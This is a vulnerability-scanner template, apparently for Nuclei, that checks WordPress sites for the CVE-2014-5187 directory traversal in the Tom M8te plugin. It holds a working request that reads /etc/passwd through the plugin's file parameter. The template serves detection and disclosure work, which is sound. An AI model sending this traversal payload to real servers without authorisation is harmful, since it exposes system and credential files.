漏洞描述
Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.
id: CVE-2014-5187
info:
name: Tom M8te (tom-m8te) Plugin 1.5.3 - Directory Traversal
author: DhiyaneshDK
severity: medium
description: |
Directory traversal vulnerability in the Tom M8te (tom-m8te) plugin 1.5.3 for WordPress allows remote attackers to read arbitrary files via the file parameter to tom-download-file.php.
reference:
- https://wpscan.com/vulnerability/3095c3f3-9cdc-49f8-8478-c2922f0a442a/
- https://codevigilant.com/disclosure/wp-plugin-tom-m8te-local-file-inclusion/
classification:
cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
cvss-score: 5
cve-id: CVE-2014-5187
cwe-id: CWE-22
epss-score: 0.00991
epss-percentile: 0.76269
cpe: cpe:2.3:a:tom_m8te_plugin_project:tom-m8te_plugin:1.5.3:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: tom_m8te_plugin_project
product: tom-m8te_plugin
framework: wordpress
publicwww-query: "/wp-content/plugins/tom-m8te/"
tags: wpscan,cve,cve2014,wp-cross-rss,wordpress,wp-plugin,lfi,wp,tom-m8te,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body,"/wp-content/plugins/tom-m8te/")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-content/plugins/tom-m8te/tom-download-file.php?file=../../../../../../../etc/passwd HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4b0a00483046022100d7cb0b66490a4a73db397895285ffcc7243112d06d3bee638b88db29c64c6b5e022100cce9be53b15e0ae2959fc7075b04f1971171b8318764b0165222b25263998713:922c64590222798bb761d5b6d8e72950